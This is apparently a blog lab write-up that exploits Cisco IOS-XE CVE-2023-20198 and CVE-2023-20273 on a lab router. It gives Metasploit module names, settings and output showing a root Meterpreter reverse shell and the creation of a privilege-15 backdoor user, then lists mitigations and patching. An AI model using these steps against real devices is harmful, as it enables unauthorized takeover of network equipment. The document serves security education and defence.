As reported by Cisco back in mid-October 2023. Two vulnerabilities exist in IOS-XE that allow an unauthenticated user remote access to the system via the web user interface. These vulnerabilities gained a lot of attention as many devices have the http/s server enabled and internet facing. Cisco have released patches for supported version of IOS-XE.
OK so lets get to labbing this one!
Disclaimer – never test on a production network. Always have permission. The following method is for a LAB environment only.
Prerequisites:
You will need a linux VM. I am using Kali 2024 weekly image on VMware Workstation host only IP 192.168.160.130/24.
For this demo we are using GNS3 with the Cisco CSR1000v running IOS-XE 16.12.3 which is a vulnerable version to both CVE-2023-20198 and CVE-2023-20273. The router has an interface Gi1 connected to GNS3 external network object. Gi1 interface ip is 192.168.160.129/24. The http/s servers are enabled:HQ#sh run | sec ip http
ip http server
ip http authentication local
ip http secure-server
ip http client source-interface GigabitEthernet1
Method 1:
We are going to use two exploits with Metasploit 6. The first one is the IOS-XE RCE and allows you to check if the device is vulnerable.
Fire up Kali, setup the network (which is out of scope of this blog post) and set the exploit up like so:msf6 > use exploit/linux/misc/cisco_ios_xe_rce
set lhost 192.168.160.130
set rhosts 192.168.160.129
set rport 443
This module allows you to run the check against the target:msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.160.129:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
As we setup the options previous to the check (and the check confirmed target was vulnerable) you can simply run the exploit command:msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[] Started reverse TCP handler on 192.168.160.130:4444 [] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[] Created privilege 15 user 'WeDWFyqX' with password 'zhKjyLGq' [] Removing user 'WeDWFyqX'
[] Sending stage (3045380 bytes) to 192.168.160.129 [] Meterpreter session 1 opened (192.168.160.130:4444 -> 192.168.160.129:59626) at 2024-01-18 20:53:32 +0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : HQ
OS : (Linux 4.19.64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > exit
[*] Shutting down session
Success! Ok so that makes use of the first module for these two vulnerabilities. It creates the user and password then binds a reverse shell with meterpreter. It also removes the user as part of this process. You can see above we are root and the CSR1000v device running IOS-XE is called “HQ”.
Method 2:
Open a new Metasploit tab or terminal window and lets run the other exploit.
This one allows you to run cli commands on the vulnerable IOS-XE instance.msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set mode global
mode => global
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set rhosts 192.168.160.129
rhosts => 192.168.160.129
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set cmd username tester privilege 15 password test
cmd => username tester privilege 15 password test
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
[] Running module against 192.168.160.129 WARNING: Command has been added to the configuration using a type 0 password. However, type 0 passwords will soon be deprecated. Migrate to a supported password type [] Auxiliary module execution completed
So what happened here? We set the mode to global (Cisco Global Configuration mode), configured the target rhost 192.168.160.129 and set the command to add the user tester with password test and privilege level 15 (the highest on a Cisco device). Lets check the CSR1000v and see if it actually worked:HQ#show run | s username
username tester privilege 15 password 7 071B245F5A
The console also output that a type 7 password was used when the exploit was run (at the same time) so we know it worked. The console also reported the web daemon made the change:HQ# *Jan 18 13:10:39.025: %AAAA-4-CLI_DEPRECATED: WARNING: Command has been added to the configuration using a type 0 password. However, type 0 passwords will soon be deprecated. Migrate to a supported password type
*Jan 18 13:10:39.027: %SYS-5-CONFIG_P: Configured programmatically by process SEP_webui_wsma_http from console as vty0 on vty0
Mitigation:
It’s 2024 now. There is really no reason to have any web server on a network appliance directly connected to the Internet. So apart from the common sense and bleeding obvious we do the following:
Disable ip http and ip https web server on the Cisco device:HQ#conf t
Enter configuration commands, one per line. End with CNTL/Z.
HQ(config)#no ip http server
HQ(config)#no ip http secure-server
You can also set an ip access list if you must have the web server enabled like so:ip http access-class 75
ip http secure-server
!
access-list 75 permit 192.168.0.0 0.0.0.255
access-list 75 deny any
The other option is to patch. When this first came to light there was a gap between the vendor announcing the bugs and the patches being available. Cisco have released a detailed table with the products and patch availability here.
Comments